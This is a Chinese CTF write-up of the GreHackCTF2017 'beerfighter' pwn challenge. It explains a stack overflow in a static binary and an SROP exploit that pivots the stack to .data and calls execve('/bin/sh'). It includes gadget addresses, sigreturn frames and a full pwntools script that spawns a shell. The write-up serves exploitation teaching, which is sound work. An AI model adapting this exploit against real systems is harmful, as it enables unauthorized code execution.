# 6.1.5 pwn GreHackCTF2017 beerfighter - [题目复现](#题目复现) - [题目解析](#题目解析) - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) [下载文件](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter) ## 题目复现 ```text $ file game game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped $ checksec -f game RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 game ``` 64 位,静态链接,stripped。 既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault: ```text [0] The bar [1] The City Hall [2] The dark yard [3] Leave the town for ever Type your action number > 1 Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens. How should I call you? [0] Tell him your name [1] Leave Type your action number > 0 Type your character name here > ... [0] The bar [1] The City Hall [2] The dark yard [3] Leave the town for ever Type your action number > 3 By ! Segmentation fault (core dumped) ``` ## 题目解析 程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数: ```text [0x00400d8e]> pdf @ fcn.00400773 / (fcn) fcn.00400773 15 | fcn.00400773 (); | ; CALL XREF from 0x00400221 (fcn.004001f3) | ; CALL XREF from 0x004002b6 (fcn.00400288) | 0x00400773 4889f8 mov rax, rdi | 0x00400776 4889f7 mov rdi, rsi | 0x00400779 4889d6 mov rsi, rdx | 0x0040077c 4889ca mov rdx, rcx | 0x0040077f 0f05 syscall \ 0x00400781 c3 ret ``` `syscall;ret`,你想到了什么,对,就是前面讲的 SROP。 其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`。 ```text gdb-peda$ pattern_offset $ebp 1849771374 found at offset: 1040 ``` 缓冲区还挺大的,`1040+8=1048`。 ## 漏洞利用 好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”,从而拿到 shell。 构造 sigreturn: ```text $ ropgadget --binary game --only "pop|ret" ... 0x00000000004007b2 : pop rax ; ret ``` ```python # sigreturn syscall sigreturn = p64(pop_rax_addr) sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf sigreturn += p64(syscall_addr) ``` 然后是 frame_1,通过设定 `frame_1.rsp = base_addr` 来转移栈: ```python # frame_1: read frame_2 to .data frame_1 = SigreturnFrame() frame_1.rax = constants.SYS_read frame_1.rdi = constants.STDIN_FILENO frame_1.rsi = data_addr frame_1.rdx = len(str(frame_2)) frame_1.rsp = base_addr # stack pivot frame_1.rip = syscall_addr ``` frame_2 执行 `execve()`: ```python # frame_2: execve to get shell frame_2 = SigreturnFrame() frame_2.rax = constants.SYS_execve frame_2.rdi = data_addr frame_2.rsi = 0 frame_2.rdx = 0 frame_2.rip = syscall_addr ``` Bingo!!! ```text $ python2 exp.py [*] '/home/firmy/Desktop/game' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './game': pid 12975 [*] Switching to interactive mode By ! $ whoami firmy ``` ### exploit 完整的 exp 如下: ```python from pwn import * elf = ELF('./game') io = process('./game') io.recvuntil("> ") io.sendline("1") io.recvuntil("> ") io.sendline("0") io.recvuntil("> ") context.clear() context.arch = "amd64" data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10 base_addr = data_addr + 0x8 # new stack address # useful gadget pop_rax_addr = 0x00000000004007b2 # pop rax ; ret syscall_addr = 0x000000000040077f # syscall ; # sigreturn syscall sigreturn = p64(pop_rax_addr) sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf sigreturn += p64(syscall_addr) # frame_2: execve to get shell frame_2 = SigreturnFrame() frame_2.rax = constants.SYS_execve frame_2.rdi = data_addr frame_2.rsi = 0 frame_2.rdx = 0 frame_2.rip = syscall_addr # frame_1: read frame_2 to .data frame_1 = SigreturnFrame() frame_1.rax = constants.SYS_read frame_1.rdi = constants.STDIN_FILENO frame_1.rsi = data_addr frame_1.rdx = len(str(frame_2)) frame_1.rsp = base_addr # stack pivot frame_1.rip = syscall_addr payload_1 = "A" * 1048 payload_1 += sigreturn payload_1 += str(frame_1) io.sendline(payload_1) io.recvuntil("> ") io.sendline("3") payload_2 = "/bin/sh\x00" payload_2 += sigreturn payload_2 += str(frame_2) io.sendline(payload_2) io.interactive() ``` ## 参考资料 -